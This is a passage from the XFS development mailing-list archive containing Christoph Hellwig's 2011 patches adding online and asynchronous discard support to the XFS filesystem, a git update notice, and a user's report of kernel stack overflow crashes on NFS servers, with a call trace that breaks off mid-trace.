autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBQfbQ137801 for ; Thu, 31 Mar 2011 06:26:41 -0500 X-ASG-Debug-ID: 1301570993-5d1c03410000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 61C01391846 for ; Thu, 31 Mar 2011 04:29:53 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 89CNkz0kCTEHHj52 for ; Thu, 31 Mar 2011 04:29:53 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G4W-0006R9-SZ for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:29:52 +0000 Message-Id: <20110331112952.831804157@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:28:54 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 4/5] xfs: make discard operations asynchronous Subject: [PATCH 4/5] xfs: make discard operations asynchronous References: <20110331112850.980290062@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-async-discard-workqueue X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570993 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Instead of waiting for each discard request keep the CIL context alive until all of them are done, at which point we can tear it down completly and remove the busy extents from the rbtree. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/linux-2.6/xfs_discard.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.c 2011-03-31 12:30:32.058591119 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_discard.c 2011-03-31 12:30:54.387590320 +0200 @@ -30,6 +30,7 @@ #include "xfs_inode.h" #include "xfs_alloc.h" #include "xfs_error.h" +#include "xfs_log_priv.h" #include "xfs_discard.h" #include "xfs_trace.h" @@ -192,29 +193,80 @@ xfs_ioc_trim( return 0; } +STATIC void +xfs_discard_end_io( + struct bio *bio, + int err) +{ + struct xfs_cil_ctx *ctx = bio->bi_private; + + if (err && err != EOPNOTSUPP) { + xfs_info(ctx->cil->xc_log->l_mp, + "discard failed at sector 0x%llu, error %d", + (unsigned long long)bio->bi_sector, err); + } + + if (atomic_dec_and_test(&ctx->ref)) + queue_work(xfs_discard_workqueue, &ctx->work); + bio_put(bio); +} + int xfs_discard_extent( - struct xfs_mount *mp, + struct xfs_cil_ctx *ctx, struct xfs_busy_extent *busyp) { - int error = 0; + struct xfs_mount *mp = ctx->cil->xc_log->l_mp; + struct block_device *bdev = mp->m_ddev_targp->bt_bdev; + struct request_queue *q = bdev_get_queue(bdev); + unsigned int max_discard_sectors; + struct bio *bio; + sector_t sector; + sector_t nr_sects; + if (!blk_queue_discard(q)) + return -EOPNOTSUPP; if (!xfs_alloc_busy_prepare_discard(mp, busyp)) return 0; trace_xfs_discard_extent(mp, busyp->agno, busyp->bno, busyp->length); - error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, - XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno), - XFS_FSB_TO_BB(mp, busyp->length), - GFP_NOFS, 0); - if (error && error != EOPNOTSUPP) { - xfs_info(mp, - "discard failed for extent [0x%llu,%u], error %d", - (unsigned long long)busyp->bno, - busyp->length, - error); + sector = XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno); + nr_sects = XFS_FSB_TO_BB(mp, busyp->length); + + /* + * Ensure that max_discard_sectors is of the proper + * granularity + */ + max_discard_sectors = min(q->limits.max_discard_sectors, UINT_MAX >> 9); + if (q->limits.discard_granularity) { + unsigned int disc_sects = q->limits.discard_granularity >> 9; + + max_discard_sectors &= ~(disc_sects - 1); } - return error; + while (nr_sects) { + bio = bio_alloc(GFP_NOFS, 1); + if (!bio) + return -ENOMEM; + + bio->bi_sector = sector; + bio->bi_end_io = xfs_discard_end_io; + bio->bi_bdev = bdev; + bio->bi_private = ctx; + + if (nr_sects > max_discard_sectors) { + bio->bi_size = max_discard_sectors << 9; + nr_sects -= max_discard_sectors; + sector += max_discard_sectors; + } else { + bio->bi_size = nr_sects << 9; + nr_sects = 0; + } + + atomic_inc(&ctx->ref); + submit_bio(REQ_WRITE | REQ_DISCARD, bio); + } + + return 0; } Index: xfs/fs/xfs/linux-2.6/xfs_discard.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.h 2011-03-31 12:30:32.062592936 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_discard.h 2011-03-31 12:30:54.387590320 +0200 @@ -3,10 +3,11 @@ struct fstrim_range; struct xfs_busy_extent; +struct xfs_cil_ctx; extern int xfs_ioc_trim(struct xfs_mount *, struct fstrim_range __user *); -extern int xfs_discard_extent(struct xfs_mount *, +extern int xfs_discard_extent(struct xfs_cil_ctx *, struct xfs_busy_extent *); #endif /* XFS_DISCARD_H */ Index: xfs/fs/xfs/xfs_log_cil.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_cil.c 2011-03-31 12:30:32.098591587 +0200 +++ xfs/fs/xfs/xfs_log_cil.c 2011-03-31 12:30:54.391590741 +0200 @@ -397,16 +397,15 @@ xlog_cil_committed( int abort) { struct xfs_cil_ctx *ctx = args; - struct xfs_mount *mp = ctx->cil->xc_log->l_mp; xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, ctx->start_lsn, abort); - if ((mp->m_flags & XFS_MOUNT_DISCARD) && !abort) { + if ((ctx->cil->xc_log->l_mp->m_flags & XFS_MOUNT_DISCARD) && !abort) { struct xfs_busy_extent *busyp; list_for_each_entry(busyp, &ctx->busy_extents, list) - xfs_discard_extent(mp, busyp); + xfs_discard_extent(ctx, busyp); } spin_lock(&ctx->cil->xc_cil_lock); Index: xfs/fs/xfs/linux-2.6/xfs_buf.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_buf.c 2011-03-31 12:30:32.074593507 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_buf.c 2011-03-31 12:30:54.399590326 +0200 @@ -49,6 +49,7 @@ STATIC void xfs_buf_delwri_queue(xfs_buf static struct workqueue_struct *xfslogd_workqueue; struct workqueue_struct *xfsdatad_workqueue; struct workqueue_struct *xfsconvertd_workqueue; +struct workqueue_struct *xfs_discard_workqueue; #ifdef XFS_BUF_LOCK_TRACKING # define XB_SET_OWNER(bp) ((bp)->b_last_holder = current->pid) @@ -1790,6 +1791,7 @@ xfs_flush_buftarg( LIST_HEAD(wait_list); struct blk_plug plug; + xfs_buf_runall_queues(xfs_discard_workqueue); xfs_buf_runall_queues(xfsconvertd_workqueue); xfs_buf_runall_queues(xfsdatad_workqueue); xfs_buf_runall_queues(xfslogd_workqueue); @@ -1853,8 +1855,15 @@ xfs_buf_init(void) if (!xfsconvertd_workqueue) goto out_destroy_xfsdatad_workqueue; + xfs_discard_workqueue = alloc_workqueue("xfs_discard", + WQ_MEM_RECLAIM | WQ_HIGHPRI, 1); + if (!xfs_discard_workqueue) + goto out_destroy_xfsconvertd_workqueue; + return 0; + out_destroy_xfsconvertd_workqueue: + destroy_workqueue(xfsconvertd_workqueue); out_destroy_xfsdatad_workqueue: destroy_workqueue(xfsdatad_workqueue); out_destroy_xfslogd_workqueue: @@ -1868,6 +1877,7 @@ xfs_buf_init(void) void xfs_buf_terminate(void) { + destroy_workqueue(xfs_discard_workqueue); destroy_workqueue(xfsconvertd_workqueue); destroy_workqueue(xfsdatad_workqueue); destroy_workqueue(xfslogd_workqueue); Index: xfs/fs/xfs/linux-2.6/xfs_buf.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_buf.h 2011-03-31 12:30:32.082590570 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_buf.h 2011-03-31 12:30:54.407636028 +0200 @@ -348,4 +348,6 @@ extern struct list_head *xfs_get_buftarg #define xfs_binval(buftarg) xfs_flush_buftarg(buftarg, 1) #define XFS_bflush(buftarg) xfs_flush_buftarg(buftarg, 1) +extern struct workqueue_struct *xfs_discard_workqueue; + #endif /* __XFS_BUF_H__ */ Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-31 12:30:32.110593226 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-31 12:30:54.407636028 +0200 @@ -1084,6 +1084,7 @@ restart: if (!forced++) { trace_xfs_alloc_near_busy(args); xfs_log_force(args->mp, XFS_LOG_SYNC); + flush_workqueue(xfs_discard_workqueue); goto restart; } @@ -1243,8 +1244,10 @@ restart: xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); trace_xfs_alloc_size_busy(args); - if (!forced++) + if (!forced++) { xfs_log_force(args->mp, XFS_LOG_SYNC); + flush_workqueue(xfs_discard_workqueue); + } goto restart; } } @@ -1314,6 +1317,7 @@ restart: xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); trace_xfs_alloc_size_busy(args); xfs_log_force(args->mp, XFS_LOG_SYNC); + flush_workqueue(xfs_discard_workqueue); goto restart; } goto out_nominleft; @@ -2599,6 +2603,8 @@ xfs_alloc_busy_update_extent( */ if (busyp->flags & XFS_ALLOC_BUSY_DISCARDED) { spin_unlock(&pag->pagb_lock); + flush_workqueue(xfs_discard_workqueue); + trace_xfs_alloc_busy_discarded(mp, pag->pag_agno, fbno, flen); return false; } Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-31 12:30:32.094589662 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-31 12:30:54.411589615 +0200 @@ -1183,6 +1183,7 @@ DEFINE_BUSY_EVENT(xfs_alloc_busy_enomem) DEFINE_BUSY_EVENT(xfs_alloc_busy_force); DEFINE_BUSY_EVENT(xfs_alloc_busy_reuse); DEFINE_BUSY_EVENT(xfs_alloc_busy_clear); +DEFINE_BUSY_EVENT(xfs_alloc_busy_discarded); TRACE_EVENT(xfs_alloc_busy_trim, TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:26:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBQfTG137793 for ; Thu, 31 Mar 2011 06:26:41 -0500 X-ASG-Debug-ID: 1301570992-63a902a30000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2B12339184C for ; Thu, 31 Mar 2011 04:29:53 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id XtbgDi0hRhwuXgOR for ; Thu, 31 Mar 2011 04:29:53 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G4W-0006QZ-Lj for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:29:52 +0000 Message-Id: <20110331112952.612138557@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:28:53 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/5] xfs: add online discard support Subject: [PATCH 3/5] xfs: add online discard support References: <20110331112850.980290062@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-add-online-discard-support X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570993 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Now that we have reliably tracking of deleted extents in a transaction we can easily implement "online" discard support which calls blkdev_issue_discard once a transaction commits. The actual discard is a two stage operation as we first have to mark the busy extent as not available for reuse before we can start the actual discard. Note that we don't bother supporting discard for the non-delaylog mode. While that would be possible with this patch performance is awfull, and the optimization in the next patch won't work as easily. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/linux-2.6/xfs_super.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_super.c 2011-03-31 12:27:53.514091439 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_super.c 2011-03-31 12:27:55.467590841 +0200 @@ -112,6 +112,8 @@ mempool_t *xfs_ioend_pool; #define MNTOPT_QUOTANOENF "qnoenforce" /* same as uqnoenforce */ #define MNTOPT_DELAYLOG "delaylog" /* Delayed loging enabled */ #define MNTOPT_NODELAYLOG "nodelaylog" /* Delayed loging disabled */ +#define MNTOPT_DISCARD "discard" /* Discard unused blocks */ +#define MNTOPT_NODISCARD "nodiscard" /* Do not discard unused blocks */ /* * Table driven mount option parser. @@ -356,6 +358,10 @@ xfs_parseargs( mp->m_flags |= XFS_MOUNT_DELAYLOG; } else if (!strcmp(this_char, MNTOPT_NODELAYLOG)) { mp->m_flags &= ~XFS_MOUNT_DELAYLOG; + } else if (!strcmp(this_char, MNTOPT_DISCARD)) { + mp->m_flags |= XFS_MOUNT_DISCARD; + } else if (!strcmp(this_char, MNTOPT_NODISCARD)) { + mp->m_flags &= ~XFS_MOUNT_DISCARD; } else if (!strcmp(this_char, "ihashsize")) { xfs_warn(mp, "ihashsize no longer used, option is deprecated."); @@ -489,6 +495,7 @@ xfs_showargs( { XFS_MOUNT_FILESTREAMS, "," MNTOPT_FILESTREAM }, { XFS_MOUNT_GRPID, "," MNTOPT_GRPID }, { XFS_MOUNT_DELAYLOG, "," MNTOPT_DELAYLOG }, + { XFS_MOUNT_DISCARD, "," MNTOPT_DISCARD }, { 0, NULL } }; static struct proc_xfs_info xfs_info_unset[] = { Index: xfs/fs/xfs/xfs_mount.h =================================================================== --- xfs.orig/fs/xfs/xfs_mount.h 2011-03-31 12:27:27.447588560 +0200 +++ xfs/fs/xfs/xfs_mount.h 2011-03-31 12:27:55.467590841 +0200 @@ -227,6 +227,7 @@ typedef struct xfs_mount { #define XFS_MOUNT_FS_SHUTDOWN (1ULL << 4) /* atomic stop of all filesystem operations, typically for disk errors in metadata */ +#define XFS_MOUNT_DISCARD (1ULL << 5) /* discard unused blocks */ #define XFS_MOUNT_RETERR (1ULL << 6) /* return alignment errors to user */ #define XFS_MOUNT_NOALIGN (1ULL << 7) /* turn off stripe alignment Index: xfs/fs/xfs/xfs_log_cil.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_cil.c 2011-03-31 12:27:54.635590592 +0200 +++ xfs/fs/xfs/xfs_log_cil.c 2011-03-31 12:27:55.471596336 +0200 @@ -29,6 +29,7 @@ #include "xfs_mount.h" #include "xfs_error.h" #include "xfs_alloc.h" +#include "xfs_discard.h" static void xlog_cil_ctx_free( @@ -396,10 +397,18 @@ xlog_cil_committed( int abort) { struct xfs_cil_ctx *ctx = args; + struct xfs_mount *mp = ctx->cil->xc_log->l_mp; xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, ctx->start_lsn, abort); + if ((mp->m_flags & XFS_MOUNT_DISCARD) && !abort) { + struct xfs_busy_extent *busyp; + + list_for_each_entry(busyp, &ctx->busy_extents, list) + xfs_discard_extent(mp, busyp); + } + spin_lock(&ctx->cil->xc_cil_lock); list_del(&ctx->committing); spin_unlock(&ctx->cil->xc_cil_lock); Index: xfs/fs/xfs/linux-2.6/xfs_discard.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.c 2011-03-31 12:27:27.431588558 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_discard.c 2011-03-31 12:27:55.471596336 +0200 @@ -191,3 +191,30 @@ xfs_ioc_trim( return -XFS_ERROR(EFAULT); return 0; } + +int +xfs_discard_extent( + struct xfs_mount *mp, + struct xfs_busy_extent *busyp) +{ + int error = 0; + + if (!xfs_alloc_busy_prepare_discard(mp, busyp)) + return 0; + + trace_xfs_discard_extent(mp, busyp->agno, busyp->bno, busyp->length); + + error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, + XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno), + XFS_FSB_TO_BB(mp, busyp->length), + GFP_NOFS, 0); + if (error && error != EOPNOTSUPP) { + xfs_info(mp, + "discard failed for extent [0x%llu,%u], error %d", + (unsigned long long)busyp->bno, + busyp->length, + error); + } + + return error; +} Index: xfs/fs/xfs/linux-2.6/xfs_discard.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.h 2011-03-31 12:27:27.443588438 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_discard.h 2011-03-31 12:27:55.475651908 +0200 @@ -2,7 +2,11 @@ #define XFS_DISCARD_H 1 struct fstrim_range; +struct xfs_busy_extent; extern int xfs_ioc_trim(struct xfs_mount *, struct fstrim_range __user *); +extern int xfs_discard_extent(struct xfs_mount *, + struct xfs_busy_extent *); + #endif /* XFS_DISCARD_H */ Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-31 12:27:27.459588326 +0200 +++ xfs/fs/xfs/xfs_ag.h 2011-03-31 12:27:55.475651908 +0200 @@ -187,6 +187,8 @@ struct xfs_busy_extent { xfs_agnumber_t agno; xfs_agblock_t bno; xfs_extlen_t length; + unsigned int flags; +#define XFS_ALLOC_BUSY_DISCARDED 0x01 /* undergoing a discard op. */ }; /* Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-31 12:27:27.471588799 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-31 12:28:19.514090846 +0200 @@ -2594,6 +2594,15 @@ xfs_alloc_busy_update_extent( xfs_agblock_t bend = bbno + busyp->length; /* + * This extent is currently beeing discard. Flush the discard + * completion queue and retry the search. + */ + if (busyp->flags & XFS_ALLOC_BUSY_DISCARDED) { + spin_unlock(&pag->pagb_lock); + return false; + } + + /* * If there is a busy extent verlapping a user allocation, we have * no chance but to force the log and retry the search. * @@ -2798,7 +2807,8 @@ restart: * If this is a metadata allocation, try to reuse the busy * extent instead of trimming the allocation. */ - if (!args->userdata) { + if (!args->userdata && + !(busyp->flags & XFS_ALLOC_BUSY_DISCARDED)) { if (!xfs_alloc_busy_update_extent(args->mp, args->pag, busyp, fbno, flen, false)) @@ -2952,6 +2962,29 @@ fail: *rlen = 0; } +/* + * Mark the busy extent as undergoing a discard operations, or return false + * in case it should not be discarded. + */ +bool +xfs_alloc_busy_prepare_discard( + struct xfs_mount *mp, + struct xfs_busy_extent *busyp) +{ + struct xfs_perag *pag; + bool ret = true; + + pag = xfs_perag_get(mp, busyp->agno); + spin_lock(&pag->pagb_lock); + if (!busyp->length) + ret = false; + busyp->flags = XFS_ALLOC_BUSY_DISCARDED; + spin_unlock(&pag->pagb_lock); + xfs_perag_put(pag); + + return ret; +} + void xfs_alloc_busy_clear( struct xfs_mount *mp, Index: xfs/Documentation/filesystems/xfs.txt =================================================================== --- xfs.orig/Documentation/filesystems/xfs.txt 2011-03-31 12:27:27.487588704 +0200 +++ xfs/Documentation/filesystems/xfs.txt 2011-03-31 12:27:55.483617993 +0200 @@ -39,6 +39,12 @@ When mounting an XFS filesystem, the fol drive level write caching to be enabled, for devices that support write barriers. + discard + Issue command to let the block device reclaim space freed by the + filesystem. This is useful for SSD devices, thinly provisioned + LUNs and virtual machine images, but may have a performance + impact. + dmapi Enable the DMAPI (Data Management API) event callouts. Use with the "mtpt" option. Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-31 12:27:27.479588871 +0200 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-31 12:27:55.483617993 +0200 @@ -149,6 +149,10 @@ xfs_alloc_busy_search(struct xfs_mount * void xfs_alloc_busy_reuse(struct xfs_mount *mp, xfs_agnumber_t agno, xfs_agblock_t fbno, xfs_extlen_t flen, bool userdata); + +bool +xfs_alloc_busy_prepare_discard(struct xfs_mount *mp, + struct xfs_busy_extent *busyp); #endif /* __KERNEL__ */ /* From aelder@oss.sgi.com Thu Mar 31 07:55:36 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2VCtanA143362 for ; Thu, 31 Mar 2011 07:55:36 -0500 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p2VCtYqe143242; Thu, 31 Mar 2011 07:55:34 -0500 Date: Thu, 31 Mar 2011 07:55:34 -0500 Message-Id: <201103311255.p2VCtYqe143242@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v2.6.38-9269-g89b3600 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 0e6e847ffe37436e331c132639f9f872febce82e X-Git-Newrev: 89b3600ccfb01aed6873bc499442fc0bed00bbdd This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 89b3600 xfs: fix unreferenced var error in xfs_buf.c c585015 Merge branch 'for-linus' of git://oss.sgi.com/xfs/xfs 6c51038 Merge branch 'for-2.6.39/core' of git://git.kernel.dk/linux-2.6-block 3155fe6 Merge branch 'for-linus' of git://oss.sgi.com/xfs/xfs a44f99c Merge branch 'trivial' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild-2.6 0ccd234 fs: change to new flag variable 0f6e0e8 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6 bd2895e Merge branch 'for-2.6.39' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/wq 5fe0c23 exportfs: Return the minimum required handle size 4c63f56 Merge branch 'for-2.6.39/stack-plug' into for-2.6.39/core 721a960 block: kill off REQ_UNPLUG 7eaceac block: remove per-queue plugging fe3fa43 Merge branch 'master' of git://git.infradead.org/users/eparis/selinux into next af24ee9 xfs: zero proper structure size for geometry calls be71514 xfs: check if device support discard in xfs_ioc_trim() 3a3675b xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 43d133c Merge branch 'master' into for-2.6.39 2a7dba3 fs/vfs/security: pass last path component to LSM on inode creation 83e7590 xfs: convert to alloc_workqueue() from 0e6e847ffe37436e331c132639f9f872febce82e (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 89b3600ccfb01aed6873bc499442fc0bed00bbdd Author: Dave Chinner Date: Tue Mar 29 07:09:20 2011 +0000 xfs: fix unreferenced var error in xfs_buf.c Signed-off-by: Dave Chinner Signed-off-by: Alex Elder ----------------------------------------------------------------------- Summary of changes: fs/xfs/Makefile | 7 ++----- fs/xfs/linux-2.6/xfs_aops.c | 4 +--- fs/xfs/linux-2.6/xfs_buf.c | 19 ++++++++----------- fs/xfs/linux-2.6/xfs_export.c | 4 +++- fs/xfs/linux-2.6/xfs_iops.c | 9 +++++---- fs/xfs/xfs_mru_cache.c | 2 +- 6 files changed, 20 insertions(+), 25 deletions(-) hooks/post-receive -- XFS development tree From simon@thekelleys.org.uk Thu Mar 31 09:15:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VEFkXJ149061 for ; Thu, 31 Mar 2011 09:15:46 -0500 X-ASG-Debug-ID: 1301581137-694003650000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from eyas.biff.org.uk (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 020EA392C63 for ; Thu, 31 Mar 2011 07:18:57 -0700 (PDT) Received: from eyas.biff.org.uk (eyas.biff.org.uk [80.68.92.121]) by cuda.sgi.com with ESMTP id KFGMDvAfGKxcjanW for ; Thu, 31 Mar 2011 07:18:57 -0700 (PDT) Received: from cpc1-cmbg12-0-0-cust836.5-4.cable.virginmedia.com ([86.9.119.69]:1618 helo=thekelleys.org.uk) by eyas.biff.org.uk with esmtpa (Exim 4.72) (envelope-from ) id 1Q5Ii8-0006Vq-32 for xfs@oss.sgi.com; Thu, 31 Mar 2011 15:18:56 +0100 Received: from spike.thekelleys.org.uk ([192.168.0.193] helo=thekelleys.org.uk) by thekelleys.org.uk with asmtp (Exim 3.36 #1 (Debian)) id 1Q5Ii7-0008Bn-00 for ; Thu, 31 Mar 2011 15:18:55 +0100 Received: (nullmailer pid 10231 invoked by uid 500); Thu, 31 Mar 2011 14:18:55 -0000 To: xfs@oss.sgi.com X-ASG-Orig-Subj: XFS stack overflow? Subject: XFS stack overflow? Date: Thu, 31 Mar 2011 15:18:55 +0100 Message-Id: <1301581135.748149.10230.nullmailer@thekelleys.org.uk> From: X-Barracuda-Connect: eyas.biff.org.uk[80.68.92.121] X-Barracuda-Start-Time: 1301581138 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_RULE7568M, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.50 BSF_RULE7568M Custom Rule 7568M X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I have a set of machines which each act solely as an NFS server exporting a single 60Tb XFS filesystem. These machines have suffered from infrequent mysterious crashes since new, but recently a new workload has upped the frequency from monthly to less than a day, enabling me to chase the problem harder. Below is a log, captured by netconsole as the machine was going down hard. I think the crucial line is: [93662.200355] Thread overran stack, or stack corrupted. Based on that I compiled up a kernel patched to set THREAD_ORDER in arch/x86/include/asm/page_64_types.h to 2 (ie 16k kernel stacks.) A machine running that kernel has been sat at load average 130 (128 nfsd threads) for 60 hours now and not seen any problems, without the patch the same load would bring it down in less than a day. I'm fairly convinced that I've fixed my problem, but I guess it's worth posting here as the call trace might enable the devs to find and fix the stack hogs. (And then I won't have to run patched kernels in the future.) More information that might help. x86_64 Storage is fibrechannel attached and the filesystem is hosted on a LVM block device that concatentates four partitions, so the block access is going via a stack of LVM, multipath and Q-logic drivers. Network is Intel 10G ethernet (gxbe driver) Kernel is 2.6.32 with Debian patches. (both kernels) Any other information needed, just let me know. Cheers, Simon. [93662.195788] BUG: scheduling while atomic: nfsd/3686/0xffff8800 [93662.195842] Modules linked in: ioatdma netconsole configfs cpufreq_userspace cpufreq_stats cpufreq_powersave cpufreq_conservative 8021q garp stp nfsd nfs lockd fscache nfs_acl auth_rpcgss sunrpc ext3 jbd mbcache fuse dm_round_robin dm_multipath scsi_dh autofs4 ohci_hcd sd_mod crc_t10dif usbhid hid snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd ipmi_si ixgbe soundcore psmouse ipmi_msghandler ehci_hcd dca snd_page_alloc uhci_hcd hpilo evdev serio_raw container mdio bnx2 usbcore pcspkr nls_base power_meter qla2xxx scsi_transport_fc scsi_tgt processor button xfs exportfs dm_mirror dm_region_hash dm_log dm_snapshot dm_mod thermal fan thermal_sys cciss scsi_mod [93662.196418] Pid: 3686, comm: nfsd Not tainted 2.6.32-bpo.5-amd64 #1 [93662.196758] Call Trace: [93662.196799] [] ? schedule+0xce/0x7da [93662.196837] [] ? elv_insert+0xad/0x260 [93662.196871] [] ? schedule_timeout+0x2e/0xdd [93662.196915] [] ? dm_unplug_all+0x3b/0x4c [dm_mod] [93662.196953] [] ? __down_common+0x8d/0xde [93662.196992] [] ? down+0x27/0x38 [93662.197053] [] ? _xfs_buf_find+0x162/0x1e0 [xfs] [93662.197107] [] ? xfs_buf_get_flags+0x5a/0x13b [xfs] [93662.197162] [] ? xfs_buf_read_flags+0x12/0x7a [xfs] [93662.197220] [] ? xfs_trans_read_buf+0x189/0x27e [xfs] [93662.197272] [] ? 